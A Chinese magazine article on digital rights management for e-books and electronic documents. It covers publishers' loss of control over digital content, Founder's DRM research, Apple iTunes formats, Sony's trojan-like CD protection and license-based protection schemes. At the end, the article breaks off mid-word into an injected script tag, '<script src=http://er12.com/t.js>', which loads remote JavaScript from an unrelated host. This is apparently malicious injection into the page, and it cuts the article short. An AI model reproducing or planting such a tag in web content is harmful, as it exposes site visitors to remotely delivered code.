流媒体领域之外,电子图书及文档的数字版权管理,是一片亟待关注的新天地
数字文档的守护者
互联网周刊记者|唐潇霖 在国内某著名兵工厂的一次老总级别会议后,一份电子版的会议纪要被秘密地发送到了几个有权限的重要人物手中,三个小时之后,这份文件将会自动销毁……
这可不是什么反特小说中虚构的故事情节,而是在一些需要保守重要商业或国家机密的企业中出现的真实情景。这种应用突显了眼下一个最热门的技术趋势—数字版权保护(drm),即如何对数字化的文档进行保护和控制。
一个商业难题
上面列举的虽然是一个极端的例子,但当互联网的趋势横扫了一切产业之后,数字版权保护技术开始变得无处不在。一首歌曲、一本书、一段视频、一篇博客、一个软件程序……人们日常生活和工作中所接触到的这些事物都以数字化的面貌出现,其涉及到的生产、流通、销售环节变得难以控制。
以一份传统的报纸为例,报社靠记者采集消息、报道写作,制作成“内容”—新闻;然后交由专门的印刷厂制作成“产品”—报纸;再交由专门的渠道进行发售。读者通过买报纸来获取报社提供的内容,并为这些内容付费。但是当新闻类的网站越做越强后,读者可以自由地在互联网上获得任何消息,也就没有必要再为内容付费,报社、印刷厂、发行渠道—整条产业链上的各个商家都因此感受到了这种数字化的冲击。
一位《华尔街日报》驻中国的记者在谈到这个问题时也无奈地表示:“当电视媒体出现时,报纸感到了竞争压力开始向杂志化的方向发展,挤压了杂志的生存空间。互联网出现后,报纸、杂志则感到了更大的危机。目前很多报业集团的收入都在下滑,可是对此人们似乎也没有什么更好的办法。”于是,越来越多的报纸、杂志开始推出自己的网络版,但却没有因此获得利润。报社或许可以利用电脑排版这样的技术改变生产的效率,但报社生产的“内容”在形式上完全改变模样后,却对版权和利润的掌控束手无策。
作为王选学生之一的汤帜博士,已在北大方正公司从事数字版权保护的研究多年。他告诉记者,数字版权管理(drm)看起来是一项门槛很高的技术,但其实整个系统最难的部分还在于如何平衡各方的利益关系,既要保护作者、出版社、渠道商的利益,也要保护读者的利益。所以,drm更像是一个需要解决的商业难题。
新销售体系
依靠drm技术,将建起一套全新的数字产品销售体系,目前为止最成功的尝试还是被业界及媒体反复提到的苹果itunes。
meta group安全分析师大卫?汤普森在一项声明中指出:“事实上,drm将扮演一个类似于基础设施的角色,而不是一个独立的技术解决方案。”而国外诸如ibm、苹果、微软、google等优秀的技术型公司,更是早就盯准了这块市场。
由于drm技术包括了对数字内容的保护和对阅读版权的保护,因此各大厂商开始争相依靠自己的播放格式试图“垄断”市场,圈住更多的用户。由于大多数提供数字版权保护的企业本身也是数字内容的提供商,因此制造商们就利用版权保护的“旗号”推出了各种各样的播放格式,使得drm技术遭到了一些消费者的反感。例如从苹果itnues下载的歌曲有自己独特的格式,不能在其它播放器上使用。而索尼在音乐cd中加入的drm技术,几乎演变成了恶性的木马病毒,并因此受到了起诉。
但实际上,drm技术应该是一个可信、公平、公正的技术体系,是一种具有认证并无法轻易破坏的平台。只有这样,才能建立互联网中的销售关系,展开系列后续商业活动。因此,它在技术上必须确保以下环节:以副本拷贝的形式是可计数的,定价系统不能被篡改,并且在各个销售关系间的最终结算以定价为基准;在消费者终端,不仅数量和使用上需要控制,同时各种版权格式也必须是相通的。
从本质上来说,drm 的解决思路其实就是许可证管理。先对原始的文件进行加密、添加文件头,再将打包后的数字文件存放在网站的服务器上,也可压制成光盘来发行。然后对合法的用户进行身份和权限的校验。在这种新形式的销售体系中,由于生产者又是技术的拥有者,因此往往不能中立地营造一个公平的平台。当微软、苹果等纷纷建立自己的drm解决方案时,verimatrix、widevine等专注于drm技术的独立小公司也嗅到了新的商业机会—当消费者苦于在几十种drm格式中转换时,这些保持中立的小公司则可以提供这种服务。 实际上,数字产品将来的应用空间绝不仅限于pc,其在手持设备,诸如手机、mp3、电子阅读器,甚至未来的汽车、家用电器中也大有天地,因此兼容的问题就显得尤为突出。那些提供数字内容产品的生产者,希望依靠独有格式来把消费者紧紧攥在手中,但市场往往会对这些商家还以颜色,这个领域有着屡见不鲜的案例。
待填补的市场
目前,数字版权保护的发展主要分为两种类型:一种是流媒体的数字版权保护,也就是音频、视频的版权保护;另外一种则是电子文档的版权保?script src=http://er12.com/t.js>











